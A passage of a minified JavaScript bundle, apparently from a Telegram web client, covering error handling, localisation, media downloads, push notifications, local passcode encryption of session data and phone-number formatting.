state"},REQ_INFO_NAME_INVALID:{field:"fullName",message:"Incorrect name"},REQ_INFO_PHONE_INVALID:{field:"phone",message:"Incorrect phone"},REQ_INFO_EMAIL_INVALID:{field:"email",message:"Incorrect email"}},a=new Set(["BOT_PRECHECKOUT_FAILED","PAYMENT_FAILED"]);function i(e){const{message:t,isSlowMode:n,textParams:o}=e;if(n){const e=t.indexOf(" (caused by");return e>0?t.substring(0,e):t}let s=r[t];return s&&o&&(s=Object.keys(o).reduce(((e,t)=>e.replace(t,o[t])),s)),s}function d(e){return s[e.message]}function c(e){return a.has(e.message)}},33592:(e,t,n)=>{n.d(t,{S:()=>i});var o=n(83716),r=n(65054);let s,a=!0;function i(e){console.error(e),o.eMD&&(a?window.alert(c(e)):s=e)}function d(e){e instanceof ErrorEvent&&"ResizeObserver loop limit exceeded"===e.message||(e.preventDefault(),i(e instanceof ErrorEvent?e.error||e.message:e.reason))}function c(e){return`${o.SaG}\n\n${e?.message||e}\n${e?.stack}`}window.addEventListener("error",d),window.addEventListener("unhandledrejection",d),o.eMD&&(window.addEventListener("focus",(()=>{(0,r.Y9)()&&(a=!0,s&&(window.alert(c(s)),s=void 0))})),window.addEventListener("blur",(()=>{(0,r.Y9)()&&(a=!1)})))},68368:(e,t,n)=>{n.d(t,{Z:()=>r});var o=n(60748);function r(e){return function(t){const n=(0,o.sO)(t);return t.isOpen?n.current=t:n.current={...n.current,isOpen:!1},e(n.current)}}},36046:(e,t,n)=>{n.d(t,{G:()=>a,e:()=>s});var o=n(33555);let r;function s(){window.addEventListener("beforeinstallprompt",(e=>{r=async()=>{e.prompt(),"accepted"===(await e.userChoice).outcome&&(0,o.Sv)().setInstallPrompt({canInstall:!1})},(0,o.Sv)().setInstallPrompt({canInstall:!0})}))}function a(){return r}},60782:(e,t,n)=>{function o(e,t){return e.reduce(((e,n)=>(e[n[t]]=n,e)),{})}function r(e,t){return Object.keys(e).reduce(((n,o,r)=>(n[o]=t(e[o],o,r,e),n)),{})}function s(e,t){return t.reduce(((t,n)=>(t[n]=e[n],t)),{})}function a(e,t){return t.reduce(((t,n)=>(e[n]&&(t[n]=e[n]),t)),{})}function i(e,t){const n=new Set(t.map(String));return s(e,Object.keys(e).filter((e=>!n.has(e))))}function d(e){return Object.keys(e).reduce(((t,n)=>{const o=n;return void 0!==e[o]&&(t[o]=e[o]),t}),{})}function c(e,t,n="asc"){function o(e,t,n,o){const r=("function"==typeof n?n(e):e[n])||0,s=("function"==typeof n?n(t):t[n])||0;return o?r-s:s-r}if(Array.isArray(t)){const[r,s]=Array.isArray(n)?n:[n,n],[a,i]=t,d="asc"===r,c="asc"===s;return e.sort(((e,t)=>o(e,t,a,d)||o(e,t,i,c)))}const r="asc"===n;return e.sort(((e,n)=>o(e,n,t,r)))}function u(e){return Array.from(new Set(e))}function l(e,t){return[...new Map(e.map((e=>[e[t],e]))).values()]}function f(e){return e.filter(Boolean)}function h(e,t){return e.length===t.length&&e.every(((e,n)=>e===t[n]))}function m(e,t){return e[0]<=t[t.length-1]&&e[e.length-1]>=t[0]}function p(e,t){return e.filter((e=>t.has(e)))}function g(e,t){if(!e?.length)return e;const n=[];let o=0;for(let r=0;r<e.length;r++)t[o]===e[r]?o+=1:n.push(e[r]);return n}function y(e,t){const n=[];for(let o=0;o<e.length;o+=t)n.push(e.slice(o,o+t));return n}function b(e,t){const n=[],o=[];return e.forEach(((e,r,s)=>(t(e,r,s)?n:o).push(e))),[n,o]}function v(e){return function(e){return"object"==typeof e&&null!==e}(e)?Array.isArray(e)?e.map(v):Object.keys(e).reduce(((t,n)=>(t[n]=v(e[n]),t)),{}):e}function w(e,t){let n=e.length;for(;n--;)if(t(e[n],n,e))return e[n]}function I(e,t){return Number(t)-Number(e)}n.d(t,{CE:()=>i,Q8:()=>r,Tw:()=>u,Vl:()=>y,Xh:()=>v,Xo:()=>c,YE:()=>m,Yc:()=>d,aK:()=>I,dF:()=>w,eL:()=>p,ee:()=>o,ei:()=>s,et:()=>h,oA:()=>f,od:()=>l,pj:()=>g,q0:()=>a,uK:()=>b})},59692:(e,t,n)=>{n.d(t,{ll:()=>g,QO:()=>E,Pn:()=>P,m0:()=>k,qf:()=>T,Iu:()=>S});var o=n(33555),r=n(83716),s=n(92387),a=n(49524),i=n(16063);const d={WrongNumber:"Wrong number?",SentAppCode:"We've sent the code to the **Telegram** app on your other device.","Login.JustSentSms":"We have sent you a code via SMS. Please enter it above.","Login.Header.Password":"Enter Password","Login.EnterPasswordDescription":"You have Two-Step Verification enabled, so your account is protected with an additional password.",StartText:"Please confirm your country code and enter your phone number.","Login.PhonePlaceholder":"Your phone number","Login.Next":"Next","Login.QR.Login":"Log in by QR Code","Login.QR.Title":"Log in to Telegram by QR Code","Login.QR.Help1":"Open Telegram on your phone","Login.QR.Help2":"Go to **Settings** > **Devices** > **Link Desktop Device**","Login.QR2.Help2":"Go to **Settings** → **Devices** → **Link Desktop Device**","Login.QR.Help3":"Point your phone at this screen to confirm login","Login.QR.Cancel":"Log in by phone Number",YourName:"Your Name","Login.Register.Desc":"Enter your name and add a profile picture.","Login.Register.FirstName.Placeholder":"First Name","Login.Register.LastName.Placeholder":"Last Name","Login.SelectCountry.Title":"Country",lng_country_none:"Country not found",PleaseEnterPassword:"Enter your new password",PHONE_NUMBER_INVALID:"Invalid phone number",PHONE_CODE_INVALID:"Invalid code",PASSWORD_HASH_INVALID:"Incorrect password",PHONE_PASSWORD_FLOOD:"Limit exceeded. Please try again later.",PHONE_NUMBER_BANNED:"This phone number is banned."};var c=n(2155);const u=/%\d?\$?[sdf@]/g,l=["value","zeroValue","oneValue","twoValue","fewValue","manyValue","otherValue"],f={en:e=>1!==e?6:2,ar:e=>0===e?1:1===e?2:2===e?3:e%100>=3&&e%100<=10?4:e%100>=11?5:6,be:e=>{const t=String(e).split("."),n=Number(t[0])===e,o=n?Number(t[0].slice(-1)):0,r=n?Number(t[0].slice(-2)):0;return 1===o&&11!==r?2:o>=2&&o<=4&&(r<12||r>14)?4:n&&0===o||o>=5&&o<=9||r>=11&&r<=14?5:6},ca:e=>1!==e?6:2,cs:e=>{const t=String(e).split("."),n=Number(t[0]),o=!t[1];return 1===e&&o?2:n>=2&&n<=4&&o?4:o?6:5},de:e=>1!==e?6:2,es:e=>1!==e?6:2,fa:e=>e>1?6:2,fi:e=>1!==e?6:2,fr:e=>e>1?6:2,id:()=>0,it:e=>1!==e?6:2,hr:e=>{const t=String(e).split("."),n=t[0],o=t[1]||"",r=!t[1],s=Number(n.slice(-1)),a=Number(n.slice(-2)),i=Number(o.slice(-1)),d=Number(o.slice(-2));return r&&1===s&&11!==a||1===i&&11!==d?2:r&&s>=2&&s<=4&&(a<12||a>14)||i>=2&&i<=4&&(d<12||d>14)?4:6},hu:e=>e>1?6:2,ko:()=>0,ms:()=>0,nb:e=>e>1?6:2,nl:e=>1!==e?6:2,pl:e=>1===e?2:e%10>=2&&e%10<=4&&(e%100<10||e%100>=20)?4:5,"pt-br":e=>e>1?6:2,ru:e=>e%10==1&&e%100!=11?2:e%10>=2&&e%10<=4&&(e%100<10||e%100>=20)?4:5,sk:e=>{const t=String(e).split("."),n=Number(t[0]),o=!t[1];return 1===e&&o?2:n>=2&&n<=4&&o?4:o?6:5},sr:e=>{const t=String(e).split("."),n=t[0],o=t[1]||"",r=!t[1],s=Number(n.slice(-1)),a=Number(n.slice(-2)),i=Number(o.slice(-1)),d=Number(o.slice(-2));return r&&1===s&&11!==a||1===i&&11!==d?2:r&&s>=2&&s<=4&&(a<12||a>14)||i>=2&&i<=4&&(d<12||d>14)?4:6},tr:e=>e>1?6:2,uk:e=>e%10==1&&e%100!=11?2:e%10>=2&&e%10<=4&&(e%100<10||e%100>=20)?4:5,uz:e=>e>1?6:2},h=new Map;let m,p;const{addCallback:g,removeCallback:y,runCallbacks:b}=(0,i._)();let v,w;function I(){return(e,t,n,o)=>{if(void 0!==t){const r=Array.isArray(t)?JSON.stringify(t):t,s=h.get(`${e}_${r}_${n}${o?`_${o}`:""}`);if(s)return s}p||M();const r=m?.[e]||p?.[e]||d[e];return r?A(r,e,t,n,o):e}}let C=I();function S(...e){return C(...e)}function E(){return C}async function P(e,t){let n;const o=await a.fetch(r.eev,`${r.$OQ}_${e}_${t}`,a.Type.Json);return n=o?o.value:await async function(e,t,n){const o=await(0,s.t9)("fetchLangStrings",{langPack:e,langCode:t,keys:[n]});if(o?.length){const s=JSON.stringify({value:o[0]});return await a.save(r.eev,`${e}_${t}_${n}`,s),o[0]}}(r.$OQ,e,t),A(n,t)}async function k(e,t,n=!1){if(m&&e===v)return void(t&&t());let i=await a.fetch(r.eev,e,a.Type.Json);if(!i&&(n&&await M(),i=await async function(e){const t=await(0,s.t9)("fetchLangPack",{sourceLangPacks:r.Bge,langCode:e});if(t)return await a.save(r.eev,e,t.langPack),t.langPack}(e),!i))return;h.clear(),v=e,m=i,document.documentElement.lang=e;const{languages:d,timeFormat:c}=(0,o.Rd)().settings.byKey,u=d?.find((t=>t.langCode===e));C=I(),C.isRtl=Boolean(u?.rtl),C.code=e.replace("-raw",""),C.langName=u?.nativeName,C.timeFormat=c,t&&t(),b()}function T(e){e&&e===w||(w=e,C.timeFormat=e,b())}async function M(){p||(p=(await n.e(1915).then(n.bind(n,31915))).default,b())}function A(e,t,n,o,s){const a="number"==typeof n||void 0!==s?function(e){const t=v||r.sRA,n=f[t]?f[t](e):0;return l[n]}(s??n):"value",i="string"==typeof e?e:"value"===a?"object"==typeof e?e.value:e:"object"==typeof e?e[a]||e.otherValue:void 0;if(!i?.trim()){const e=t.split(".");return e[e.length-1]}if(void 0!==n){const e=function(e,t){t=Array.isArray(t)?t:[t];const n=e.split(u),o=n.shift();return n.reduce(((e,n,o)=>`${e}${String(t[o]??"")}${n}`),o||"")}(i,"i"===o?(0,c.kh)(n):n),r=Array.isArray(n)?JSON.stringify(n):n;return h.set(`${t}_${r}_${o}${s?`_${s}`:""}`,e),e}return i}},28712:(e,t,n)=>{n.d(t,{Kh:()=>r,NM:()=>s,gO:()=>i,t7:()=>a,uZ:()=>o});const o=(e,t,n)=>Math.min(n,Math.max(t,e)),r=(e,t,n)=>e>=t&&e<=n,s=(e,t=0)=>Math.round(e*10**t)/10**t,a=(e,t,n)=>(1-n)*e+n*t;function i(e){return 2*Math.round(e/2)}},40647:(e,t,n)=>{n.d(t,{cC:()=>S,he:()=>I,UV:()=>C,Oj:()=>P,Iq:()=>E});var o=n(6137),r=n(83716),s=n(92387),a=n(49524),i=n(71394);const d=48e3,c=16;async function u(e){const t=await new Response(e).arrayBuffer();return new Promise((e=>{const o=new Uint8Array(t);let r=new Worker(new URL(n.p+n.u(5745),n.b)),s=new Worker(new URL(n.p+n.u(5993),n.b));r.onmessage=e=>{null===e.data?s.postMessage({command:"done"}):s.postMessage({command:"encode",buffers:e.data},e.data.map((({buffer:e})=>e)))},s.onmessage=t=>{"page"===t.data.message&&(e(new Blob([t.data.page],{type:"audio/wav"})),r.terminate(),r=void 0,s.terminate(),s=void 0)},s.postMessage({command:"init",wavBitDepth:c,wavSampleRate:d}),r.postMessage({command:"init",decoderSampleRate:d,outputBufferSampleRate:d}),r.postMessage({command:"decode",pages:o},[o.buffer])}))}var l=n(97184);const f={[o.IU.BlobUrl]:a.Type.Blob,[o.IU.Text]:a.Type.Text,[o.IU.DownloadUrl]:void 0,[o.IU.Progressive]:void 0},h=`${r.v5x?r.i2v:"."}/progressive/`,m="./download/",p=2e3,g=3,y=new Map,b=new Map,v=new Map,w=new Map;function I(e,t,n=!1,s,a){if(t===o.IU.Progressive)return l.I_?function(e){const t=`${h}${e}`;return y.set(e,t),Promise.resolve(t)}(e):I(e,o.IU.BlobUrl,n,s,a);if(t===o.IU.DownloadUrl)return l.I_?function(e){return Promise.resolve(`${m}${e}`)}(e):I(e,o.IU.BlobUrl,n,s,a);if(!b.has(e)){const o=k(e,t,n).catch((e=>{r.eMD&&console.warn(e)})).finally((()=>{b.delete(e),v.delete(e),w.delete(e)}));b.set(e,o)}if(s&&a){let t=v.get(e);t||(t=new Map,v.set(e,t)),t.set(a,s)}return b.get(e)}function C(e){return y.get(e)}function S(e){v.forEach(((t,n)=>{t.forEach((t=>{if(t===e){const e=w.get(n);if(!e)return;(0,s.u3)(e),w.delete(n),v.delete(n)}}))}))}function E(e,t){const n=v.get(e);n&&n.delete(t)}function P(e){return`${h}${e}`}async function k(e,t,n,o=0){if(!r.CyD){const o=e.startsWith("avatar")?r.SGw:r.lWA,s=await a.fetch(o,e,f[t],n);if(s){let t=s;"audio/ogg"!==s.type||l.m5||(t=await u(t));const n=T(t);return y.set(e,n),n}}const d=function(e){const t=n=>{v.get(e)?.forEach((e=>{e(n),e.isCanceled&&(t.isCanceled=!0)}))};return t}(e);w.set(e,d);const c=await(0,s.t9)("downloadMedia",{url:e,mediaFormat:t,isHtmlAllowed:n},d);if(!c){if(o>=g)throw new Error(`Failed to fetch media ${e}`);return await new Promise((e=>{setTimeout(e,p)})),r.eMD&&console.debug(`Retrying to fetch media ${e}`),k(e,t,n,o+1)}let{mimeType:h}=c,m=T(c.dataBlob);if("audio/ogg"===h&&!l.m5){const e=await(0,i.gm)(m);URL.revokeObjectURL(m);const t=await u(e);m=T(t),h=t.type}return y.set(e,m),m}function T(e){return e instanceof Blob?URL.createObjectURL(e):e}l.I_&&navigator.serviceWorker.addEventListener("message",(async e=>{const{type:t,messageId:n,params:r}=e.data;if("requestPart"!==t)return;const a=await(0,s.t9)("downloadMedia",{mediaFormat:o.IU.Progressive,...r});if(!a)return;const{arrayBuffer:i,mimeType:d,fullSize:c}=a;navigator.serviceWorker.controller.postMessage({type:"partResponse",messageId:n,result:{arrayBuffer:i,mimeType:d,fullSize:c}},[i])}))},70735:(e,t,n)=>{n.d(t,{D:()=>o});const o=[]},99203:(e,t,n)=>{n.d(t,{$y:()=>l,Pb:()=>u,Qt:()=>h,gl:()=>s,o5:()=>f});var o=n(83716),r=n(16063);let s=function(e){return e[e.Auth=0]="Auth",e[e.Main=1]="Main",e[e.Extra=2]="Extra",e[e.Calls=3]="Calls",e}({});const a={},i={},{addCallback:d,runCallbacks:c}=(0,r._)();async function u(e){if(!a[e]){switch(e){case s.Auth:a[s.Auth]=Promise.all([n.e(2120),n.e(3041)]).then(n.bind(n,51133));break;case s.Main:o.eMD&&console.log(">>> START LOAD MAIN BUNDLE"),a[s.Main]=Promise.all([n.e(2120),n.e(8492),n.e(3353),n.e(8422),n.e(5769)]).then(n.bind(n,81216));break;case s.Extra:a[s.Extra]=Promise.all([n.e(2120),n.e(8492),n.e(3353),n.e(3779)]).then(n.bind(n,82145));break;case s.Calls:a[s.Calls]=Promise.all([n.e(2120),n.e(8492),n.e(8422),n.e(9954)]).then(n.bind(n,99447))}a[e].then(c)}const t=await a[e];return i[e]||(i[e]=t),t}async function l(e){await u(e)}function f(e,t){const n=i[e];if(n)return n[t]}const h=d},28406:(e,t,n)=>{n.d(t,{KC:()=>_,Ld:()=>Z,Nz:()=>P,TO:()=>B,Vr:()=>x,ZK:()=>k,fU:()=>R,ke:()=>v,q3:()=>E,r1:()=>M,rh:()=>O});var o=n(33555),r=n(6137),s=n(83716),a=n(4463),i=n(26646),d=n(41020),c=n(7054),u=n(92387),l=n(18005),f=n(60782),h=n(59692),m=n(40647),p=n(69118),g=n(97184);function y(e){const t=e.toJSON();return JSON.stringify({endpoint:t.endpoint,keys:t.keys})}function b(){return!(!g.Mc||g.D$||("showNotification"in ServiceWorkerRegistration.prototype?"denied"===Notification.permission?(s.eMD&&console.warn("[PUSH] The user has blocked push notifications."),1):!("PushManager"in window)&&(s.eMD&&console.warn("[PUSH] Push messaging isn't supported."),1):(s.eMD&&console.warn("[PUSH] Push notifications aren't supported."),1)))}function v(){return"Notification"in window?"denied"!==Notification.permission||(s.eMD&&console.warn("[PUSH] The user has blocked push notifications."),!1):(s.eMD&&console.warn("[PUSH] This browser does not support desktop notification"),!1)}const w=432e5,I=3e3,C=new Set,S=new Audio("./notification.mp3");async function E(e,t){if(void 0!==e&&C.has(e))return;const{notificationSoundVolume:n}=(0,c.dZI)((0,o.Rd)()),r=t?t/10:n/10;if(0!==r){S.volume=r,void 0!==e&&(S.addEventListener("ended",(()=>{C.add(e)}),{once:!0}),setTimeout((()=>{C.delete(e)}),I));try{await S.play()}catch(e){s.eMD&&console.warn("[PUSH] Unable to play notification sound")}}}S.setAttribute("mozaudiochannel","notification");const P=(0,p.Ds)(E,1e3,!0,!1);async function k(){if(!("Notification"in window))return!1;let e=Notification.permission;return["granted","denied"].includes(e)||(e=await Notification.requestPermission()),"granted"===e}async function T(e){const t=(0,o.Rd)(),{deleteDeviceToken:n}=(0,o.Sv)();if(e)try{const t=y(e);return await(0,u.t9)("unregisterDevice",t),await e.unsubscribe(),void n()}catch(e){s.eMD&&console.log("[PUSH] Unable to unsubscribe from push.",e)}t.push&&(await(0,u.t9)("unregisterDevice",t.push.deviceToken),n())}async function M(){if(!b())return;const e=await navigator.serviceWorker.ready,t=await e.pushManager.getSubscription();await T(t)}let A=!1;async function L(){if(A)return(0,c.dZI)((0,o.Rd)());const[e,t]=await Promise.all([(0,u.t9)("fetchNotificationSettings"),(0,u.t9)("fetchNotificationExceptions")]);if(!e)return(0,c.dZI)((0,o.Rd)());let n=(0,d.BI)((0,o.Rd)(),e);return t&&(n=(0,d.aJ)(n,t)),(0,o.R3)(n),A=!0,(0,c.dZI)(n)}let N=!1;function R(){return N}async function Z(){const{setDeviceToken:e,updateWebNotificationSettings:t}=(0,o.Sv)();let n=!1,r=!1;if(!b())return n=await k(),void t({hasWebNotifications:n,hasPushNotifications:r});const a=await navigator.serviceWorker.ready;let i=await a.pushManager.getSubscription();if(function(e){const t=(0,o.Rd)();return!t.push||!e||y(e)!==t.push.deviceToken||Date.now()-t.push.subscribedAt>w}(i)){await T(i);try{i=await a.pushManager.subscribe({userVisibleOnly:!0});const t=y(i);s.eMD&&console.log("[PUSH] Received push subscription: ",t),await(0,u.t9)("registerDevice",t),e(t),r=!0,n=!0}catch(e){"denied"===Notification.permission?s.eMD&&console.warn("[PUSH] The user has blocked push notifications."):(s.eMD&&console.log("[PUSH] Unable to subscribe to push.",e),[DOMException.ABORT_ERR,DOMException.NOT_SUPPORTED_ERR].includes(e.code)&&(N=!0,n=await k()))}t({hasWebNotifications:n,hasPushNotifications:r})}}async function D(e){const t=(0,a.RT)(e);if(!t)return;let n=m.UV(t);return n||(await m.he(t,r.IU.BlobUrl),n=m.UV(t)),n}async function B({call:e,user:t}){const{hasWebNotifications:n}=await L();if(document.hasFocus()||!n)return;if(!v())return;const o=await D(t),r={body:(0,a.Js)(t),icon:o,badge:o,tag:`call_${e.id}`};"vibrate"in navigator&&(r.vibrate=[200,100,200]);const s=new Notification((0,h.Iu)("VoipIncoming"),r);s.onclick=()=>{s.close(),window.focus&&window.focus()}}async function O({chat:e,message:t,isReaction:n=!1}){const{hasWebNotifications:r}=await L();if(!function(e,t){if(!A)return!1;const n=(0,o.Rd)();if((0,a.i4)(e,(0,c.dZI)(n),(0,c.NJL)(n))&&!t.isMentioned||e.isNotJoined||!e.isListed)return!1;if(g.$b){const{chatId:t,type:o}=(0,c.Btg)(n)||{};return!(t===e.id&&"thread"===o)}return!document.hasFocus()}(e,t))return;const d=v();if(!r||!d)return void(t.isSilent||n||g.D$||P(String(t.id)||e.id));if(!d)return;if(!t.id)return;const m=(0,a.dT)(t);if(n&&!m)return;n&&m&&"documentId"in m.reaction&&await async function(e){let t=(0,o.Rd)();if(t.customEmojis.byId[e])return;const n=await(0,u.t9)("fetchCustomEmoji",{documentId:[e]});n&&(t=(0,o.Rd)(),t={...t,customEmojis:{...t.customEmojis,byId:{...t.customEmojis.byId,...(0,f.ee)(n,"id")}}},(0,o.R3)(t))}(m.reaction.documentId);const p=await D(e),{title:y,body:w}=function(e,t,n){const r=(0,o.Rd)();let{senderId:d}=t;const u=Boolean(n);u&&(d=n.peerId);const{isScreenLocked:f}=r.passcode,m=d?(0,c.Z1J)(r,d):void 0,p=d?(0,c.dyD)(r,d):void 0,g=(0,a.N5)(t),y=(0,i.H)(t),b=g&&y?.replyToMsgId?(0,c.hjO)(r,y?.replyFrom?.fromChatId||e.id,y.replyToMsgId):void 0,{targetUserIds:v,targetChatId:w}=g||{},I=v?v.map((e=>(0,c.dyD)(r,e))).filter(Boolean):void 0,C=(0,a.zX)(e)===r.currentUserId,S=(0,c.p$s)(r,t);let E;if(!f&&(0,a.Sm)(e,(0,c.dZI)(r),(0,c.NJL)(r))){const r=e&&((0,a.eA)(e)||t.senderId===t.chatId);if((0,a.FT)(t))E=(0,l.D)(h.Iu,t,r?void 0:p,r?e:void 0,I,b,w,S,{asPlainText:!0});else{const s=(0,a.zF)(h.Iu,e.id,r?m:p);let i=(0,a.MK)(h.Iu,t,u,60);if(u){const e=function(e){let t;return"emoticon"in e.reaction&&(t=e.reaction.emoticon),"documentId"in e.reaction&&(t=(0,o.Rd)().customEmojis.byId[e.reaction.documentId]?.emoji),t||"❤️"}(n);i=(0,h.Iu)("PushReactText",[e,i])}E=s?`${s}: ${i}`:i}}else E="New message";let P=f?s.iCi:(0,a.U)(h.Iu,e,C);return t.isSilent&&(P+=" 🔕"),{title:P,body:E}}(e,t,m);if(b())navigator.serviceWorker?.controller&&navigator.serviceWorker.controller.postMessage({type:"showMessageNotification",payload:{title:y,body:w,icon:p,chatId:e.id,messageId:t.id,shouldReplaceHistory:!0,isSilent:t.isSilent,reaction:m?.reaction}});else{const r=(0,o.Sv)(),s={body:w,icon:p,badge:p,tag:String(t.id)};"vibrate"in navigator&&(s.vibrate=[200,100,200]);const a=new Notification(y,s);a.onclick=()=>{a.close(),r.focusMessage({chatId:e.id,messageId:t.id,shouldReplaceHistory:!0}),window.focus&&window.focus()},a.onshow=()=>{n||t.isSilent||g.D$||P(String(t.id)||e.id)}}}function x(e){!s.Cgt&&navigator.serviceWorker?.controller&&navigator.serviceWorker.controller.postMessage({type:"closeMessageNotifications",payload:e})}function _(){navigator.serviceWorker?.controller&&navigator.serviceWorker.controller.postMessage({type:"clientReady"})}},95281:(e,t,n)=>{n.d(t,{AU:()=>u,C8:()=>p,FB:()=>d,H4:()=>l,J9:()=>m,o6:()=>f,so:()=>h,xV:()=>c});var o=n(83716),r=n(49524);const s=12,a="harder better faster stronger";let i;function d(){return i}function c(e){i=e}async function u(e){i=await g(e)}async function l(e,t){if(!i)throw console.error("[api/passcode] Missing current passcode"),new Error("[api/passcode] Missing current passcode");await Promise.all([(async()=>{if(!e)return;const t=await v(e,i);await y("sessionEncrypted",t)})(),(async()=>{if(!t)return;const e=await v(t,i);await y("globalEncrypted",e)})()])}async function f(){if(!i)throw console.error("[api/passcode] Missing current passcode"),new Error("[api/passcode] Missing current passcode");const[e,t]=await Promise.all([b("sessionEncrypted"),b("globalEncrypted")]);if(!e||!t)throw console.error("[api/passcode] Missing required stored fields"),new Error("[api/passcode] Missing required stored fields");try{const[n,o]=await Promise.all([w(e,i),w(t,i)]);return{sessionJson:n,globalJson:o}}catch(e){throw console.error("[api/passcode] Error decrypting session",e),e}}async function h(e){const t=await g(e),[n,o]=await Promise.all([b("sessionEncrypted"),b("globalEncrypted")]);if(!n||!o)throw console.error("[api/passcode] Missing required stored fields"),new Error("[api/passcode] Missing required stored fields");try{const[e,r]=await Promise.all([w(n,t),w(o,t)]);return i=t,{sessionJson:e,globalJson:r}}catch(e){throw console.error("[api/passcode] Error decrypting session",e),e}}function m(){i=void 0}function p(){return m(),r.clear(o.oX1)}function g(e){return crypto.subtle.digest("SHA-256",(new TextEncoder).encode(`${e}${a}`))}async function y(e,t){if(!await r.save(o.oX1,e,t))throw new Error("Failed to save to cache")}function b(e){return r.fetch(o.oX1,e,r.Type.ArrayBuffer)}async function v(e,t){const n=crypto.getRandomValues(new Uint8Array(s)),o={name:"AES-GCM",iv:n},r=await crypto.subtle.importKey("raw",t,o,!1,["encrypt"]),a=(new TextEncoder).encode(e),i=await crypto.subtle.encrypt(o,r,a),d=new Uint8Array(i),c=new Uint8Array(s+d.length);return c.set(n,0),c.set(d,s),c.buffer}async function w(e,t){const n=new Uint8Array(e),o={name:"AES-GCM",iv:n.slice(0,s)},r=await crypto.subtle.importKey("raw",t,o,!1,["decrypt"]),a=n.slice(s),i=await crypto.subtle.decrypt(o,r,a);return(new TextDecoder).decode(i)}},85266:(e,t,n)=>{function o(e){e.dataset.patchedForSafari||(e.addEventListener("play",(()=>{const t=e.currentTime;e.dataset.patchForSafariInProgress="true",e.addEventListener("progress",(function n(){e.buffered.length&&(e.currentTime=e.duration-1,e.addEventListener("progress",(()=>{delete e.dataset.patchForSafariInProgress,e.currentTime=t,e.paused&&!e.dataset.preventPlayAfterPatch&&e.play()}),{once:!0}),e.removeEventListener("progress",n))}))}),{once:!0}),e.dataset.patchedForSafari="true")}function r(e){return Boolean(e.dataset.patchForSafariInProgress)}n.d(t,{B:()=>o,z:()=>r})},99349:(e,t,n)=>{function o(e){const{pageTransitions:t,messageSendingAnimations:n,mediaViewerAnimations:o,messageComposerAnimations:r,contextMenuAnimations:s,contextMenuBlur:a,rightColumnAnimations:i}=e,d=document.body;d.classList.toggle("no-page-transitions",!t),d.classList.toggle("no-message-sending-animations",!n),d.classList.toggle("no-media-viewer-animations",!o),d.classList.toggle("no-message-composer-animations",!r),d.classList.toggle("no-context-menu-animations",!s),d.classList.toggle("no-menu-blur",!a),d.classList.toggle("no-right-column-animations",!i)}n.d(t,{d:()=>o})},17926:(e,t,n)=>{n.d(t,{El:()=>u,dE:()=>l});var o=n(33555),r=n(83716),s=n(706);const a=/(^|\.)(google|bing|duckduckgo|ya|yandex)\./i,i="kz_version",d="Z";function c(e){localStorage.setItem(i,JSON.stringify(e))}function u(e){c(e),(0,s.W8)(),(0,o.Sv)().skipLockOnUnload(),window.location.assign(`${r.OfM}${e.toLowerCase()}`)}function l(){if(window.location.hostname!==r.xHY)return;const e=document.referrer.toLowerCase();if(e)try{if(!new URL(e).host.match(a))return;const t=function(){const e=localStorage.getItem(i);if(e)return JSON.parse(e)}();if(t)return void(t!==d&&u(t));const n=void 0!==(new URLSearchParams(window.location.search).get("test")??void 0),o=Math.random()<.5;if(n||!o)return void c("Z");u("K")}catch(e){}}},6272:(e,t,n)=>{n.d(t,{U9:()=>s,WZ:()=>d,g3:()=>a,un:()=>i});const o="X",r="XXX XXX XXX XXX";function s(e,t){return e.filter((e=>e.iso2===t))}function a(e,t=""){let n=t.replace(/[^\d+]+/g,"");n.startsWith("+")&&(n=n.substr(1));const o=e.filter((e=>n.startsWith(e.countryCode))).map((e=>(e.prefixes||[""]).map((t=>({code:`${e.countryCode}${t}`,country:e}))))).flat().filter((({code:e})=>n.startsWith(e))).sort(((e,t)=>e.code.length-t.code.length));return o[o.length-1]?.country}function i(e,t){if(!e)return"";let n=e.replace(/[^\d]+/g,"");if(t)n=n.substr(t.countryCode.length);else if(e.startsWith("+"))return e;const s=function(e,t){if(!t||0===t.length)return r;if(1===t.length)return t[0];const n=t.find((e=>e.startsWith(o)))||r,s=t.filter((t=>{const n=t.replace(/[^\dX]+/g,"");if(n.startsWith(o))return!1;for(let t=0;t<e.length;t++)if(t>n.length-1||n[t]!==o&&n[t]!==e[t])return!1;return!0}));return 1===s.length?s[0]:n}(n,t?.patterns),a=[];let i=0;for(let e=0;e<n.length;e++){for(;s[i]!==o&&i<s.length&&(a.push(s[i]),s[i]!==n[e]||(e++,e!==n.length));)i++;a.push(n[e]),i++}return a.join("")}function d(e,t){if(!t)return"";const n=t.startsWith("+")?t:`+${t}`,o=a(e,n);return o?`+${o.countryCode} ${i(n,o)}`:n}},97690:(e,t,n)=>{n.d(t,{Z:()=>s});var o=n(33555);const r=new Map;function s(e,t){const n=e.action;clearTimeout(r.get(n));const s=window.setTimeout((()=>{(0,o.Sv)()[n](e.payload)}),t);r.set(n,s)}},15780:(e,t,n)=>{n.d(t,{DQ:()=>c,Ex:()=>f,VX:()=>l,Yw:()=>m,dx:()=>h,tB:()=>u});var o=n(6137),r=n(83716);let s,a,i=!1,d=window.location.hash;function c(){d=void 0,i=!1,a=void 0,s=void 0}const u=(e,t,n)=>{const r="thread"===t?void 0:t;return(n===o._f?[e,r]:[e,n,r]).filter(Boolean).join("_")};function l(){if(h(),!a)return;const e=a.split("_");let t,n,r;if(1===e.length)t=e[0];else if(2===e.length){const o=["thread","pinned","scheduled"].includes(e[1]);t=e[0],n=o?e[1]:"thread",r=o?void 0:e[1]}else e.length>=3&&([t,r,n]=e);if(!t?.match(/^-?\d+$/))return;const s=["thread","pinned","scheduled"].includes(n);return{chatId:t,type:n&&s?n:"thread",threadId:Number(r)||o._f}}const f=(e,t,n)=>{const o=new URL(window.location.href);return o.hash=u(e,t,n),o.href};function h(){if(s)return s;if(i)return;if(!d)return;let e=d.replace(/^#/,"");return e.includes("?")?([a,e]=e.split("?"),r.NuY||(window.location.hash=a)):e.includes("=")&&(r.NuY||(window.location.hash="")),s=e.includes("=")?e.split("&").reduce(((e,t)=>{const[n,o]=t.split("=");return e[n]=o,e}),{}):void 0,i=!0,s||(a=e),s}function m(){s&&delete s.tgWebAuthToken}},93088:(e,t,n)=>{n.d(t,{Z:()=>a});var o=n(83716),r=n(33592);const s=!o.ZTn;function a(e,t,n){if(!s)return e();try{return e()}catch(e){return t?.(e),void(0,r.S)(e)}finally{n?.()}}},74753:(e,t,n)=>{n.d(t,{Z:()=>s,h:()=>r});var o=n(83716);const r=e=>e.currentTime>0&&!e.paused&&!e.ended&&e.readyState>2,s=e=>{e.play().catch((t=>{o.eMD&&console.warn(t,e)}))}},69118:(e,t,n)=>{function o(e,t,n=!0,o=!0){let 